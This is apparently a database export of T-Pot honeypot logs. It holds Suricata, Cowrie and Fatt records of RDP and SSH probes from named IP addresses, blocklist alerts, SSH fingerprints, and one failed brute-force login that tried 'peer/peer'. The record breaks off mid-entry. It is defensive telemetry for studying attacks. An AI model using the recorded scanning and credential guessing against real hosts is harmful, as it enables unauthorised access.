32533	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:52:13.853749+03	2021-09-20 15:00:03.604717+03	{"_id": "DgYMA3wBvYTbRNuEq0t2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 355477094206810, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64323, "dest_port": 3389, "timestamp": "2021-09-20T11:52:13.853749Z", "@timestamp": "2021-09-20T11:52:13.853Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32534	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:52:13.874263+03	2021-09-20 15:00:03.606717+03	{"_id": "EAYMA3wBvYTbRNuEq0t3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 355477094206810, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 64323, "timestamp": "2021-09-20T11:52:13.874263Z", "@timestamp": "2021-09-20T11:52:13.874Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
32535	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:52:09.90587+03	2021-09-20 15:00:03.607717+03	{"_id": "7wYMA3wBvYTbRNuEmkpi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "86d495d9c78c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:52:09.905870Z", "@timestamp": "2021-09-20T11:52:09.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32536	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:52:09.944407+03	2021-09-20 15:00:03.608716+03	{"_id": "8wYMA3wBvYTbRNuEm0rS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1663588840846426, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57338, "dest_port": 22, "timestamp": "2021-09-20T11:52:09.944407Z", "@timestamp": "2021-09-20T11:52:09.944Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32537	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:52:09.67119+03	2021-09-20 15:00:03.609717+03	{"_id": "-QYMA3wBvYTbRNuEnErc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35770, "timestamp": "2021-09-20T11:52:09.671190", "@timestamp": "2021-09-20T11:52:09.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32549	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:52:03.934009+03	2021-09-20 15:00:03.624717+03	{"_id": "4QYMA3wBvYTbRNuEhEpg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:52:03.380349+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 703661502352829, "payload": "AAADzAYUCGv3/cq2/AjTHY2cuMKqxAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45878, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:52:03.934009Z", "@timestamp": "2021-09-20T11:52:03.934Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......k.................(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32538	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:09.906976+03	2021-09-20 15:00:03.611716+03	{"_id": "9wYMA3wBvYTbRNuEnErc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57338, "timestamp": "2021-09-20T11:52:09.906976", "@timestamp": "2021-09-20T11:52:09.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32539	103.145.13.243	109.199.241.180	Suricata	2021-09-20 14:52:11.390798+03	2021-09-20 15:00:03.612716+03	{"_id": "BgYMA3wBvYTbRNuEo0uk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:11.390798+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 6036, "action": "allowed", "category": "Misc Attack", "metadata": {"tag": ["Dshield"], "created_at": ["2010_12_30"], "deployment": ["Perimeter"], "updated_at": ["2021_09_17"], "attack_target": ["Any"], "affected_product": ["Any"], "signature_severity": ["Major"]}, "severity": 2, "signature": "ET DROP Dshield Block Listed Source group 1", "signature_id": 2402000}, "geoip": {}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "103.145.13.243", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1166897348081294, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ET.Evil", "ET.DshieldIP"]}, "src_port": 57805, "dest_port": 80, "timestamp": "2021-09-20T11:52:11.390798Z", "@timestamp": "2021-09-20T11:52:11.390Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32540	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:52:13.853749+03	2021-09-20 15:00:03.613716+03	{"_id": "DAYMA3wBvYTbRNuEq0t2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:52:13.527706+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 355477094206810, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 64323, "dest_port": 3389, "timestamp": "2021-09-20T11:52:13.853749Z", "@timestamp": "2021-09-20T11:52:13.853Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
32541	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:52:02.352191+03	2021-09-20 15:00:03.614716+03	{"_id": "0QYMA3wBvYTbRNuEf0oH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:57702 (192.168.176.2:22) [session: 25d53d11f0d4]", "session": "25d53d11f0d4", "@version": "1", "protocol": "ssh", "src_port": 57702, "dest_port": 22, "timestamp": "2021-09-20T11:52:02.352191Z", "@timestamp": "2021-09-20T11:52:02.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32542	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:52:02.527333+03	2021-09-20 15:00:03.615717+03	{"_id": "0gYMA3wBvYTbRNuEf0oH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "25d53d11f0d4", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:52:02.527333Z", "@timestamp": "2021-09-20T11:52:02.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32543	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:52:02.702481+03	2021-09-20 15:00:03.617717+03	{"_id": "0wYMA3wBvYTbRNuEf0oH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "25d53d11f0d4", "@version": "1", "timestamp": "2021-09-20T11:52:02.702481Z", "@timestamp": "2021-09-20T11:52:02.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32544	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:52:02.527089+03	2021-09-20 15:00:03.618715+03	{"_id": "1AYMA3wBvYTbRNuEgEp3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 2053206798677745, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57702, "dest_port": 22, "timestamp": "2021-09-20T11:52:02.527089Z", "@timestamp": "2021-09-20T11:52:02.527Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32545	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:52:02.530036+03	2021-09-20 15:00:03.619717+03	{"_id": "1gYMA3wBvYTbRNuEgUqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57702, "timestamp": "2021-09-20T11:52:02.530036", "@timestamp": "2021-09-20T11:52:02.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32546	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:52:03.505118+03	2021-09-20 15:00:03.621719+03	{"_id": "3AYMA3wBvYTbRNuEgkrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [peer/peer] failed", "session": "25d53d11f0d4", "@version": "1", "password": "peer", "username": "peer", "timestamp": "2021-09-20T11:52:03.505118Z", "@timestamp": "2021-09-20T11:52:03.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32547	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:52:03.934603+03	2021-09-20 15:00:03.622717+03	{"_id": "3wYMA3wBvYTbRNuEgkrw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3c1b94f07f7e", "@version": "1", "timestamp": "2021-09-20T11:52:03.934603Z", "@timestamp": "2021-09-20T11:52:03.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 